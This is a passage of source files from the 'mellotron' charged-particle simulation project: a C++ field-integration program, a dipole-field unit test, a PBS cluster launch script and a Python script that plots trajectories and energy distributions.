desc(\"Allowed options\");\n desc.add_options()\n (\"help\", \"produce help message\" )\n (\"init_conds\", po::value<std::vector<double> >()->multitoken(), \"Initial position and momentum, electronic units (6-vector)\")\n ;\n\n // Parse command line and store in variable map\n po::variables_map vm;\n po::store(parse_command_line(argc, argv, desc, po::command_line_style::unix_style ^ po::command_line_style::allow_short), vm);\n po::notify(vm);\n\n // Control the number of components in initial conditions vector\n bool IsConstantInitialTime = true;\n std::vector<double> init_conds;\n if (!vm[\"init_conds\"].empty() && (init_conds = vm[\"init_conds\"].as<std::vector<double> >()).size() == 6)\n {\n // Good to go\n init_conds = vm[\"init_conds\"].as<std::vector<double> >();\n }\n else if (!vm[\"init_conds\"].empty() && (init_conds = vm[\"init_conds\"].as<std::vector<double> >()).size() == 7)\n {\n // Varying initial time. Must read inital time from CL, not from XML file.\n IsConstantInitialTime = false;\n init_conds = vm[\"init_conds\"].as<std::vector<double> >();\n }\n else\n {\n std::cout\n << \"Initial conditions must be a 6 component vector... Exiting.\"\n << std::endl;\n return 0;\n }\n\n // Open config file.\n std::ifstream conf_file;\n conf_file.open(\"configStrattoMosaicSG.xml\");\n if(!conf_file.is_open())\n {\n std::cout\n << \"the config file must be in the same directory... Exiting.\"\n << std::endl;\n return 0;\n }\n\n // Read config file.\n StrattoMosaicConfig* config = nullptr;\n config->StrattoMosaicConfig::read(conf_file, config);\n\n // Instantiate electron units object.\n mellotron::MellotronUnits electron_units\n (2.0*mellotron::constants::math::pi*mellotron::constants::physics::c/config->lambda_c_);\n\n // Change the parabola parameters to appropriate units.\n config->r_min_ = config->r_min_/electron_units.UNIT_LENGTH;\n config->r_max_ = config->r_max_/electron_units.UNIT_LENGTH;\n config->th_min_ = to_rad(config->th_min_);\n config->th_max_ = to_rad(config->th_max_);\n config->focal_length_ = config->focal_length_/electron_units.UNIT_LENGTH;\n\n // Create the mesh of the parabola.\n std::array<double,2> min_parabola = {config->r_min_,config->th_min_};\n std::array<double,2> max_parabola = {config->r_max_,config->th_max_};\n std::array<unsigned int, 2> intervals_per_dim_parabola = {config->intervals_r_,config->intervals_th_};\n CoordinateSystemModel<2,Cylindrical> * coord_sys = new CoordinateSystemModel<2,Cylindrical>(x12,space,qed_units);\n DomainSerial<2>* domain_parabola = new DomainSerial<2>(\n min_parabola,\n max_parabola,\n intervals_per_dim_parabola,\n coord_sys\n );\n\n std::array<unsigned int, 2> num_points_parabola = {config->num_points_r_,config->num_points_th_};\n std::array<bool,2> boundary = {config->boundary_max_,config->boundary_min_};\n SurfaceMesh<2> *mesh_parabola = new SurfaceMesh<2>(\n domain_parabola,\n num_points_parabola,\n gausslegendre_mesh,\n boundary\n );\n EmittingSurfaceAxialSym<2> *surface = new EmittingSurfaceParabola<2>(\n mesh_parabola,\n config->focal_length_\n );\n surface->ComputeSurface();\n surface->ComputeNormal();\n\n // Change spectrum parameters to appropriate units.\n config->energy_ = config->energy_/electron_units.UNIT_ENERGY;\n config->lambda_c_ = config->lambda_c_/electron_units.UNIT_LENGTH;\n config->lambda_min_ = config->lambda_min_/electron_units.UNIT_LENGTH;\n config->lambda_max_ = config->lambda_max_/electron_units.UNIT_LENGTH;\n config->delta_lambda_ = config->delta_lambda_/electron_units.UNIT_LENGTH;\n\n // Create the spectrum.\n std::vector<double> beam_frequencies, beam_freq_widths, beam_freq_ratios;\n beam_frequencies.push_back(config->lambda_c_);\n beam_freq_widths.push_back(config->delta_lambda_);\n beam_freq_ratios.push_back(1.0);\n std::vector<double> phase(config->num_components_,0.0);\n Spectrum *spectrum_incident = new SpectrumGaussianWavelength(\n config->num_components_,\n config->lambda_min_,\n config->lambda_max_,\n phase,\n beam_frequencies,\n beam_freq_widths,\n beam_freq_ratios,\n config->energy_,\n config->gaussian_order_\n );\n for (unsigned int i=0; i<config->num_components_;i++)\n {\n spectrum_incident->SetPhase(i, -2.0*spectrum_incident->GetOmega(i)*config->focal_length_);\n }\n\n if (config->hasChirp)\n {\n double omega_c_chirp = config->omega_c_chirp_ * electron_units.UNIT_TIME;\n for (int i=0; i<config->chirp_taylor_coefficients_.size(); i++)\n {\n config->chirp_taylor_coefficients_[i] /= std::pow(electron_units.UNIT_TIME,i);\n }\n\n int factorial = 1;\n for (int i=0; i<config->num_components_; i++)\n {\n spectrum_incident->SetPhase(i, spectrum_incident->GetPhase(i)\n + config->chirp_taylor_coefficients_[i]*std::pow(spectrum_incident->GetOmega(i)-omega_c_chirp,i)/factorial);\n factorial *= (i+1);\n }\n }\n\n // Create the beam model.\n config->beam_width_ = config->beam_width_/electron_units.UNIT_LENGTH;\n TEM00ModeParaxial *beam = new TEM00ModeParaxial(spectrum_incident,config->beam_width_,config->lg_coeffs_,true);\n MosaicBeams<2> * mosaic = new MosaicBeams<2>(mesh_parabola,beam,config->number_tesserae_);\n\n // Evaluate the beam on the mirror.\n SurfaceEMFieldManyStorage<SurfaceEMFieldGeneral,2,1> *incident_field = new SurfaceEMFieldManyStorage<SurfaceEMFieldGeneral,2,1>(\n mesh_parabola,\n spectrum_incident,\n surface,\n mosaic\n );\n\n // Declare the integrator and convert it to the form the MELLOTRON expects.\n auto integrator\n = new StrattonChuIntegrator::MeshlessAxialSurfGenField(surface,incident_field);\n auto meshless_time_field\n = new TemporalEMFieldMeshless<StrattonChuIntegrator::MeshlessAxialSurfGenField>(integrator);\n auto wrapper\n = new StrattoCalculatorWrapper<StrattonChuIntegrator::MeshlessAxialSurfGenField>(*meshless_time_field);\n\n // Change the integration parameters to appropriate units.\n config->t_init_ = config->t_init_ / electron_units.UNIT_TIME;\n config->dt_ = config->dt_ / electron_units.UNIT_TIME;\n\n // MELLOTRON\n mellotron::Particle<StrattoCalculatorWrapper<StrattonChuIntegrator::MeshlessAxialSurfGenField>> particle(config->Q_,config->mass_,*wrapper,electron_units);\n mellotron::ParticleObserver<StrattoCalculatorWrapper<StrattonChuIntegrator::MeshlessAxialSurfGenField>> particle_obs(particle,config->nsteps_);\n\n // Define the initial conditions.\n arma::colvec::fixed<8> x = arma::zeros<arma::colvec>(8);\n double x_init = init_conds[0]; // Initial position\n double y_init = init_conds[1];\n double z_init = init_conds[2];\n\n double px_init = init_conds[3]; // Initial momentum\n double py_init = init_conds[4];\n double pz_init = init_conds[5];\n\n // Times at which we output the data.\n // Behaviour depends on where we read the initial time.\n double t_init;\n if (IsConstantInitialTime)\n t_init = config->t_init_;\n else\n t_init = init_conds[6];\n\n arma::colvec times = arma::linspace<arma::colvec>(t_init,t_init+config->nsteps_*config->dt_,config->nsteps_); // Time vector\n\n // Set the initial conditions.\n particle.SetInitConditions(x,x_init,y_init,z_init,px_init,py_init,pz_init,times[0]);\n\n // Perform integration.\n size_t steps = odeint::integrate_times(\n odeint::make_dense_output(1.0e-6,1.0e-6, odeint::runge_kutta_dopri5<arma::colvec::fixed<8> >() ),\n std::ref(particle),\n x,\n boost::begin(times),\n boost::end(times),\n 0.1,\n std::ref(particle_obs)\n );\n\n particle_obs.OutputData();\n\n\n delete config;\n return 0;\n\n}" }, { "alpha_fraction": 0.5965341925621033, "alphanum_fraction": 0.6230928897857666, "avg_line_length": 28.010929107666016, "blob_id": "8a9c5dec83e139877af36f06acd976916cb51bdc", "content_id": "86576b14cbe99867755950d5b4018bfd4906823f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5309, "license_type": "no_license", "max_line_length": 199, "num_lines": 183, "path": "/tests/UnitTest-eDipoles.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2016-10-28 *\n * *\n * Unit test of fields/eDipoles.cpp in MELLOTRON. We simply evaluate *\n * and plot the field in a plane and compare with the original article. *\n * --------------------------------------------------------------------------*/\n\n#include <gtest/gtest.h>\n\n#include <armadillo>\n#include <mellotron>\n#include <boost/math/constants/constants.hpp>\n\nusing namespace mellotron;\nclass DipoleQuasiGaussianTest : public testing::Test\n{\npublic:\n DipoleQuasiGaussianTest()\n : lambda(800e-9)\n , omega(2.0*constants::math::pi*constants::physics::c/lambda)\n , electronic_units(omega)\n {\n lambda /= electronic_units.UNIT_LENGTH;\n omega *= electronic_units.UNIT_TIME;\n pulse_duration = 0.1*omega;\n xmax = lambda;\n energy = 15.0/electronic_units.UNIT_ENERGY;\n field = new DipoleQuasiGaussian(omega,pulse_duration,energy);\n\n std::cout << \"Energy [in Mellotron Units]: \" << energy << std::endl;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n\n double lambda;\n double omega;\n MellotronUnits electronic_units;\n\n double pulse_duration;\n double xmax;\n double energy;\n\n DipoleQuasiGaussian * field;\n};\n\nTEST_F(DipoleQuasiGaussianTest, q_gauss)\n{\n // Define the mesh of the plot.\n uint size_plot = 100;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n arma::mat field_values(size_plot,size_plot);\n\n // Compute the field values.\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<size_plot; j++)\n {\n field_values(i,j) = field->ComputeFieldComponents(0.0*lambda,x_field[i],y_field[j],0.0)[2];\n }\n }\n\n field->ComputeNormalizationFactor();\n\n // Output the data.\n x_field *= electronic_units.UNIT_LENGTH;\n y_field *= electronic_units.UNIT_LENGTH;\n\n x_field.save(\"x_field_qgauss.txt\", arma::raw_ascii);\n y_field.save(\"y_field_qgauss.txt\", arma::raw_ascii);\n field_values.save(\"QuasiGaussianField.txt\", arma::raw_ascii);\n\n // Compute the field in time at the focal spot.\n size_plot = 200;\n double tmax = 5.0*lambda;\n auto t_data = arma::linspace<arma::colvec>(-tmax,tmax,size_plot);\n arma::colvec t_field(size_plot);\n\n for (uint i=0; i<size_plot; i++)\n {\n t_field(i) = field->ComputeFieldComponents(t_data(i), 0.0,0.0,0.0)[2];\n }\n\n t_data *= electronic_units.UNIT_TIME;\n t_data.save(\"t_data_qgauss.txt\", arma::raw_ascii);\n t_field.save(\"t_field_qgauss.txt\", arma::raw_ascii);\n}\n\nclass DipoleQuasiGaussianQEDTest : public testing::Test\n{\npublic:\n DipoleQuasiGaussianQEDTest()\n : UNIT_LENGTH(3.86159e-13)\n , UNIT_ENERGY(9.1093829140e-31*299792458.0*299792458.0)\n , UNIT_TIME(1.2880885e-21)\n , lambda(800e-9/UNIT_LENGTH)\n , omega(2.0*cst::pi<double>()/lambda)\n , pulse_duration(0.1*omega)\n , xmax(lambda)\n , energy(15.0/UNIT_ENERGY)\n , field(omega,pulse_duration,energy)\n {\n std::cout << \"Energy [in QED Units]: \" << energy << std::endl;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n\n const double UNIT_LENGTH;\n const double UNIT_ENERGY;\n const double UNIT_TIME;\n double lambda;\n double omega;\n\n double pulse_duration;\n double xmax;\n double energy;\n\n DipoleQuasiGaussian field;\n};\n\nTEST_F(DipoleQuasiGaussianQEDTest, q_gauss)\n{\n // Define the mesh of the plot.\n uint size_plot = 100;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n arma::mat field_values(size_plot,size_plot);\n\n // Compute the field values.\n double omega_0 = 2.0*constants::math::pi*constants::physics::c/800.0e-9;\n double mellotron_to_qed_factor = std::sqrt(4.0*constants::math::pi*constants::physics::alpha)*constants::physics::electron_mass*std::pow(constants::physics::c,2)/(omega_0*constants::physics::hbar);\n\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<size_plot; j++)\n {\n field_values(i,j) = mellotron_to_qed_factor*field.ComputeFieldComponents(0.0*lambda,x_field[i],y_field[j],0.0)[2];\n }\n }\n\n field.ComputeNormalizationFactor();\n\n // Output the data.\n x_field *= UNIT_LENGTH;\n y_field *= UNIT_LENGTH;\n\n x_field.save(\"x_field_qgauss.txt\", arma::raw_ascii);\n y_field.save(\"y_field_qgauss.txt\", arma::raw_ascii);\n field_values.save(\"QuasiGaussianField_qed.txt\", arma::raw_ascii);\n\n // Compute the field in time at the focal spot.\n size_plot = 200;\n double tmax = 5.0*lambda;\n auto t_data = arma::linspace<arma::colvec>(-tmax,tmax,size_plot);\n arma::colvec t_field(size_plot);\n\n for (uint i=0; i<size_plot; i++)\n {\n t_field(i) = mellotron_to_qed_factor*field.ComputeFieldComponents(t_data(i), 0.0,0.0,0.0)[2];\n }\n\n t_data *= UNIT_TIME;\n t_data.save(\"t_data_qgauss_qed.txt\", arma::raw_ascii);\n t_field.save(\"t_field_qgauss_qed.txt\", arma::raw_ascii);\n}\n\nGTEST_API_ int main(int argc, char **argv)\n{\n H5open();\n printf(\"Running main() UnitTest-Particle.cpp.\\n\");\n testing::InitGoogleTest(&argc, argv);\n auto result = RUN_ALL_TESTS();\n H5close();\n\n return result;\n}\n" }, { "alpha_fraction": 0.5548401474952698, "alphanum_fraction": 0.5812610983848572, "avg_line_length": 33.623077392578125, "blob_id": "80abd3f9dfa4e32011c25c6fb47e0ecf6cbc6119", "content_id": "bc95ceb814cf4910a6a1a99764523d0cfa98e363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4504, "license_type": "no_license", "max_line_length": 166, "num_lines": 130, "path": "/simulations/mammouthStart.sh", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "\n#!/bin/bash\n\n\n#PBS -l walltime=120:00:00\n#PBS -l nodes=16:ppn=1\n#PBS -r n\n\n\n#-------------------------------------------------------------#\n# Module loading #\n#-------------------------------------------------------------#\nmodule use /home/maclean_group/modulefiles/\nmodule load gcc/5.2.0\nmodule load openmpi/1.10.0_gcc\nmodule load hdf5/1.8.15p1_openmpi_gcc5\nmodule load python64/2.7.3\nsource /home/maclean_group/python_environment_openmpi/bin/activate\nmodule load boost64\nmodule load cmake/3.3.1\nmodule load muparser/2.2.3\nmodule load meshpi/1.1.0\nmodule load jsoncpp/1.6.2\nmodule load zernike/0.0.1\nmodule load strattocalculator/3.0.2\nmodule load armadillo\nmodule load cubature\nmodule load parallel\nmodule load latex\nmodule load mellotron\nPYPATH=$( echo $PATH | grep -o '[^:]*mellotron[^:]*' )\n\n#--------------------------------------------------------------#\n# Arguments for the simulation #\n#--------------------------------------------------------------#\nNNODES=16\nCONFIG=\"configStrattoLinear.xml\"\nSHAPE=\"sphere\"\n\n\n# For mammouth : All processors of required nodes have their job.\nNJOBS=$((24*$NNODES))\n# To be sure the outputs will be in the scratch.\ncd \"${PBS_O_WORKDIR}\"\n\n# ------------------------------------------------------------ #\n# \\file mammouthStart.sh #\n# \\author Justine Pepin <[email protected]> #\n# \\since 2017-08-11 #\n# #\n# This bash file start automatically the simulation of #\n# the MELLOTRON on the mammouth computer. #\n# #\n# Usage: qsub mammouthStart.sh #\n# #\n# ------------------------------------------------------------ #\n\necho -e \" \\e[95m--- MELLOTRON SIMULATION AUTOMATIC START ---\\e[39m\"\n\n# -- Initialize the variables\nDIR=\"./\"\nGENINIT=\"GenerateInitialConditions.py\"\nINTEGSAL=\"IntegrationSalamin.o\"\nINTEGSTRATTOLIN=\"IntegrationStrattoLinear.o\"\nCOMPNORMCONST=\"ComputeNormalizationConstantSalaminLinear.o\"\nMANAGEOUT=\"manageOutputs.py\"\nPRODUCEPLOTS=\"producePlots.py\"\ncp $PYPATH/$GENINIT $DIR\ncp $PYPATH/$INTEGSAL $DIR\ncp $PYPATH/$INTEGSTRATTOLIN $DIR\ncp $PYPATH/$COMPNORMCONST $DIR\ncp $PYPATH/$MANAGEOUT $DIR\ncp $PYPATH/$PRODUCEPLOTS $DIR\n\nOUTINITCONDS=\"init_conds.txt\"\nOUTNORMCONST=\"normalization_constant.txt\"\n\n# -- Check if config.xml is in current dir\nif [ -f ./$CONFIG ]; then\n echo -e \" \\e[32m--- Config file has been found. ---\\e[39m\"\nelse \n echo -e \" \\e[32m--- missing config.xml file. ---\\e[39m\"\n rm $GENINIT $INTEGSAL $INTEGSTRATTOLIN $COMPNORMCONST $MANAGEOUT $PRODUCEPLOTS\n echo \"Mellotron can not be run. Exiting. \"\n exit 0\nfi\n\n# -- Generate initial conditions\nif [ -f ./$OUTINITCONDS ]; then\n echo -e \" \\e[32m--- Initial conditions has been found. ---\\e[39m\"\nelse\n echo -e \" \\e[32m--- Starting to generate initial conditions. ---\\e[39m\"\n python $GENINIT --shape $SHAPE --config $CONFIG\n echo \"Done: generate initial conditions.\"\nfi\n\n# -- Generate the normalization constant if needed\nCONFIGDEFAULT=\"configSalamin.xml\"\nif [ \"$CONFIG\" == \"$CONFIGDEFAULT\" ]; then\n # Compute normalization constant\n if [ -f ./$OUTNORMCONST ]; then\n echo -e \" \\e[32m--- Normalization constant has been found. ---\\e[39m\"\n else\n echo -e \" \\e[32m--- Starting to generate normalization constant. ---\\e[39m\"\n ./$COMPNORMCONST\n echo \"Done: compute normalization constant.\"\n fi\n INTEG=$INTEGSAL\nelse\n INTEG=$INTEGSTRATTOLIN\nfi\n\n# -- Calculate particles behavior\necho -e \" \\e[32m--- Starting to calculate particles behavior. ---\\e[39m\"\n. /home/maclean_group/software/parallel/20170622/bin/env_parallel.bash\ncat $OUTINITCONDS | env_parallel --sshloginfile $PBS_NODEFILE --sshdelay 0.1 --workdir=$PWD --jobs $NJOBS --colsep \" \" ./$INTEG --init_conds {1} {2} {3} {4} {5} {6}\necho \"Done: calculate particles behavior.\"\n\n# -- Manage outputs\necho -e \" \\e[32m--- Starting to manage the outputs. ---\\e[39m\"\npython $MANAGEOUT --directory $DIR\necho \"Done: manage outputs.\"\n\n# -- Generate plots\necho -e \" \\e[32m--- Starting to produce the plots ---\\e[39m\"\npython $PRODUCEPLOTS --directory $DIR\necho \"Done: produce plots.\"\n\n# -- Clean dir\nrm $GENINIT $INTEGSAL $INTEGSTRATTOLIN $COMPNORMCONST $MANAGEOUT $PRODUCEPLOTS\nexit 0\n\n\n" }, { "alpha_fraction": 0.5921307802200317, "alphanum_fraction": 0.608411967754364, "avg_line_length": 40.60752868652344, "blob_id": "8e7bd4ac7e873867acbda306b9a24d5ef306b110", "content_id": "fb0636b36f2c4c719ac6b224ffcc534d4cf6462a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15488, "license_type": "no_license", "max_line_length": 168, "num_lines": 372, "path": "/simulations/producePlots.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# ------------------------------- Information ------------------------------- #\n# Author: Justine Pepin <[email protected]> #\n# Created: 2017-06-06 #\n# Description: Produces multiple plots to analyse MELLOTRON data. #\n# --------------------------------------------------------------------------- #\n\n# --------------------------- Modules Importation --------------------------- #\nimport os as os\nimport argparse as ap\nimport h5py as hp\nimport sys as sys\nfrom scipy import constants\nimport numpy.fft as fft\nimport scipy.fftpack as weird_fft\nimport scipy.integrate as integration\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n# ------------------------------ Configuration ------------------------------ #\n# Plot parameters\nmpl.rcParams['ps.useafm'] = True\nmpl.rcParams['pdf.use14corefonts'] = True\nmpl.rcParams['text.usetex'] = True\nmpl.rcParams['font.family'] = 'serif'\n\n# ---------------------------- Utility Functions ---------------------------- #\ndef findFileInDir(directory, fileName):\n \"\"\"\n Determines if the specified HDF5 exists in the given directory.\n \"\"\"\n # Find the .hdf5 file\n globalModel = \"\"\n for file in os.listdir(directory):\n if file == fileName:\n globalModel = file\n break\n\n if globalModel == \"\":\n print(\"It seems like the folder you gave doesn\\'t have the specified .hdf5 file in it.\")\n sys.exit()\n\n return globalModel\n\ndef setPositionsPlotLabels(graph):\n \"\"\"\n Write the titles of the axis for the position plot.\n \"\"\"\n graph.set_xlabel(r\"X Axis\")\n graph.set_ylabel(r\"Y Axis\")\n graph.set_zlabel(r\"Z Axis\")\n graph.set_title(r\"Positions of Particles\")\n\ndef createOneParticleTrajectory(directory, hdf5File, nTimeSteps, globalModelGroup):\n \"\"\"\n Create a position plot (trajectories in space) in one-particle situations.\n\n This function ends the script because there is no need for polar plots in such a case.\n\n Trajectories are all different colors for better visualization purpose.\n \"\"\"\n # Open position hdf5 table\n globalModelPositions = globalModelGroup[\"position\"]\n # Initiate arrays of good size.\n xp = np.empty((nTimeSteps))\n yp = np.empty((nTimeSteps))\n zp = np.empty((nTimeSteps))\n # Stepping through the TimeSteps.\n for i in range(nTimeSteps):\n xp[i] = globalModelPositions[i, 0]\n yp[i] = globalModelPositions[i, 1]\n zp[i] = globalModelPositions[i, 2]\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n\n ax.plot(xp, yp, zs=zp, lw=0.5)\n setPositionsPlotLabels(ax)\n\n plt.savefig(directory + os.path.splitext(hdf5File)[0] + \".pdf\")\n sys.exit()\n\ndef createPositionsPlot(globalModelPositions, nParticles, nTimeSteps, directory):\n \"\"\"\n Create a position plot (trajectories in space) in many-particles situations.\n Trajectories are all different colors for better visualization purpose.\n \"\"\"\n # Initiate arrays of good size.\n xp = np.empty((nParticles, nTimeSteps))\n yp = np.empty((nParticles, nTimeSteps))\n zp = np.empty((nParticles, nTimeSteps))\n # Stepping through the Particles and the TimeSteps.\n for j in range(nParticles):\n for i in range(nTimeSteps):\n xp[j, i] = globalModelPositions[i, j, 0]\n yp[j, i] = globalModelPositions[i, j, 1]\n zp[j, i] = globalModelPositions[i, j, 2]\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n\n for j in range(nParticles):\n ax.plot(xp[j], yp[j], zs=zp[j], lw=0.5)\n setPositionsPlotLabels(ax)\n\n plt.savefig(directory + \"positionsPlot.pdf\")\n\ndef createPolarGammaPlot(globalModelMomentums, globalModelGamma, nParticles, nTimeSteps, directory, ionmode, ionmass, L):\n \"\"\"\n Create a polar plot (gamma, times of flight and polar distributions) in many-particles situations.\n Divisions in histograms are all different colors for better visualization purpose.\n \"\"\"\n # Initiate arrays of good size.\n r = np.empty((nParticles))\n gam = np.empty((nParticles))\n theta = np.empty((nParticles))\n phi = np.empty((nParticles))\n px_list = np.empty((nParticles))\n minGamma = 1.0\n maxGamma = 0.0\n isGammaSuperiorToOne = True\n\n # Define some constants if ion mode if turned on\n a = 1.0\n b = 0.0\n if ionmode:\n b = - 1.0\n a = ionmass * constants.physical_constants['atomic mass unit-electron volt relationship'][0]\n\n # Ion mass in electron mass units\n Mass = ionmass/constants.physical_constants['electron mass in u'][0]\n\n # Stepping through the Particles\n for j in range(nParticles):\n px = globalModelMomentums[nTimeSteps - 1, j, 0]\n py = globalModelMomentums[nTimeSteps - 1, j, 1]\n pz = globalModelMomentums[nTimeSteps - 1, j, 2]\n #gam[j] = np.sqrt(1 + (px**2 + py**2 + pz**2)/Mass**2 ) # Calculate gamma\n gam[j] = globalModelGamma[nTimeSteps - 1, j] # Take value in file\n if gam[j] <= minGamma:\n isGammaSuperiorToOne = False\n if r[j] > maxGamma:\n maxGamma = r[j]\n\n r[j] = a * (gam[j] + b)\n theta[j] = np.arctan2(px,pz)\n phi[j] = np.arctan2(px,py)\n\n px_list[j] = px\n\n f = plt.figure()\n ax1 = f.add_subplot(221, projection='polar')\n ax2 = f.add_subplot(222, projection='polar')\n ax3 = f.add_subplot(223)\n ax4 = f.add_subplot(224)\n ax1.grid(True)\n ax1.set_rmax(r.max())\n ax2.grid(True)\n ax2.set_rmax(r.max())\n ax3.grid(True)\n ax4.grid(True)\n ax1.scatter(theta, r)\n #ax1.set_rlim(0)\n #ax1.set_rscale('log')\n ax2.scatter(phi, r)\n #ax2.set_rlim(0)\n #ax2.set_rscale('log')\n #print(r)\n\n if ionmode:\n ax1.set_ylabel(r'$E_k$ [eV]', labelpad=30)\n ax2.set_ylabel(r'$E_k$ [eV]', labelpad=30)\n else:\n ax1.set_ylabel(r'$\\gamma$', labelpad=30)\n ax2.set_ylabel(r'$\\gamma$', labelpad=30)\n\n ax1.set_title(r\"zx plane ($\\theta$)\", va='bottom')\n ax2.set_title(r\"yx plane ($\\phi$)\", va='bottom')\n\n\n # Histogram of gamma with colourful bands\n N, bins, patches = ax3.hist(r, bins=int(np.ceil(1.5*np.sqrt(nParticles))), color=[0.8, 0.8, 0.2])\n for i in range(len(patches)):\n patches[i].set_facecolor((np.random.random(1)[0], np.random.random(1)[0], np.random.random(1)[0]))\n ax3.set_ylabel(r\"Number of particles\")\n\n\n # Time of flight histogram\n if ionmode:\n tx = np.zeros_like(gam[px_list>0])\n tx = (Mass*L*gam[px_list>0])/(px_list[px_list>0]*constants.c)\n ax3.set_xlabel(r'$E_k$ [eV]')\n N, bins, patches = ax4.hist(tx, bins = 10 ** np.linspace(np.log10(tx.min()), np.log10(tx.max()), int(np.ceil(1.5*np.sqrt(nParticles))) ), color=[0.8, 0.8, 0.2])\n for i in range(len(patches)):\n patches[i].set_facecolor((np.random.random(1)[0], np.random.random(1)[0], np.random.random(1)[0]))\n ax4.set_xscale('log')\n else:\n tx = np.zeros_like(gam[px_list<0])\n tx = (L*gam[px_list<0])/(px_list[px_list<0]*constants.c)\n ax3.set_xlabel(r'$\\gamma$')\n N, bins, patches = ax4.hist(tx, bins =int(np.ceil(1.5*np.sqrt(nParticles))), color=[0.8, 0.8, 0.2])\n for i in range(len(patches)):\n patches[i].set_facecolor((np.random.random(1)[0], np.random.random(1)[0], np.random.random(1)[0]))\n\n ax4.set_xlabel(r\"$t_x$ [s]\")\n if len(tx) != 0:\n f.text(1, 0, \"Fastest time of flight: %.5e s\" % tx.min(), ha='right', fontdict=None)\n #f.text(0.5, 0, \"Detector distance: %.5f m\" % L, ha='center', fontdict=None)\n\n if ionmode:\n f.text(0, 0, \"Particle mass is %.5f u\" % ionmass, fontdict=None)\n\n plt.savefig(directory + \"polarGammaPlots.pdf\")\n\ndef main():\n \"\"\"\n Produce the plots for a given .hdf5 output file.\n\n Author: Justine Pepin <[email protected]>\n \"\"\"\n\n # Command line arguments\n parser = ap.ArgumentParser(description=\"Produce the plots for a given .hdf5 output file.\"\n \"If no file provided, the global.hdf5 file will be considered.\")\n parser.add_argument(\"--directory\", type=str, default=\"./\",\n help=\"Target directory containing a .hdf5 file.\")\n parser.add_argument(\"--file\", type=str, default=\"global.hdf5\",\n help=\".hdf5 file with 1 particle to generate the trajectory plot with.\")\n parser.add_argument(\"--nTimeSteps\", type=int, default=0,\n help=\"Number of timeSteps to plot on. If 0, the maximal number of timeSteps will be used. Default is the maximum.\")\n parser.add_argument(\"--ion\", type=bool, default=False,\n help=\"Switch for 'ion' mode in plots\")\n parser.add_argument(\"--ionmass\", type=float, default=4.0,\n help=\"Ion mass in atomic mass units (u)\")\n parser.add_argument(\"--L\", type=float, default=0.03,\n help=\"Distance of detector placed in x direction, in meters\")\n parser.add_argument(\"--lw\", type=bool, default=False,\n help=\"Switch to produce plots related to the Liรฉnard-Wiechert fields.\")\n\n # Parse arguments\n args = parser.parse_args()\n\n # Target directory\n directory = args.directory\n if( not directory.endswith(\"/\")):\n directory += \"/\"\n\n # Target file\n hdf5File = args.file\n if hdf5File != \"global.hdf5\":\n globalModel = findFileInDir(directory, hdf5File)\n else:\n globalModel = findFileInDir(directory, \"global.hdf5\")\n\n # Determine exactly how many TimeSteps there are.\n globalModelFile = hp.File(directory + globalModel, \"r\")\n globalModelGroup = globalModelFile.require_group(\"/\")\n globalModelTimes = globalModelGroup[\"times\"]\n nTimeSteps = globalModelTimes.len()\n\n # Target nTimeSteps\n targetTime = args.nTimeSteps\n if targetTime != 0 and targetTime < nTimeSteps:\n nTimeSteps = targetTime\n\n # If only one particle, no need to do rest of main\n if hdf5File != \"global.hdf5\":\n createOneParticleTrajectory(directory, hdf5File, nTimeSteps, globalModelGroup)\n\n # Determine exactly how many Particles there are.\n globalModelPositions = globalModelGroup[\"position\"]\n nParticles = globalModelPositions.shape[1]\n\n # Create positions plot\n createPositionsPlot(globalModelPositions, nParticles, nTimeSteps, directory)\n\n # Create polar, gamma and time of flight plot\n globalModelGamma = globalModelGroup[\"gamma\"]\n globalModelMomentums = globalModelGroup[\"momentum\"]\n ionmode = args.ion\n ionmass = args.ionmass\n L = args.L\n createPolarGammaPlot(globalModelMomentums, globalModelGamma, nParticles, nTimeSteps, directory, ionmode, ionmass, L)\n\n # -- We produce the plots related to the Liรฉnard-Wiechert fields.\n # -- We are interested in\n # -- โ€ข the distribution of power over the spectrum (dU/domega),\n # -- โ€ข the distribution of the number of photons over the spectrum (dN/domega)\n # -- โ€ข the distribution of energy over the sphere (dU/dOmega),\n # -- โ€ข the distribution of the number of photons over the sphere (dN/dOmega).\n # -- The rest will have to be taken care of via ParaView.\n if (args.lw):\n #-- First, we read the fields from the global HDF5 file.\n # -- /todo Add error catching.\n globalModelLWFields = globalModelGroup[\"lienard-wiechert-fields\"]\n globalModelLWEField = globalModelLWFields[\"electric_field\"]\n globalModelLWBField = globalModelLWFields[\"magnetic_field\"]\n\n # -- The first step is to compute the FFT of the electric and\n # -- magnetic fields over each point of the sphere.\n padded_length = weird_fft.next_fast_len(globalModelLWEField.shape[0])\n dt = globalModelTimes[1]-globalModelTimes[0]\n fft_freqs = 2*np.pi*fft.rfftfreq(padded_length, d=dt)\n fft_length = fft_freqs.size\n\n lw_e_field_fft = np.zeros((fft_length,globalModelLWEField.shape[1],globalModelLWEField.shape[2],globalModelLWEField.shape[3]), dtype=complex)\n lw_b_field_fft = np.zeros((fft_length,globalModelLWEField.shape[1],globalModelLWEField.shape[2],globalModelLWEField.shape[3]), dtype=complex)\n\n for i in range(globalModelLWEField.shape[1]):\n for j in range(globalModelLWEField.shape[2]):\n for k in range(globalModelLWEField.shape[3]):\n lw_e_field_fft[:,i,j,k] = 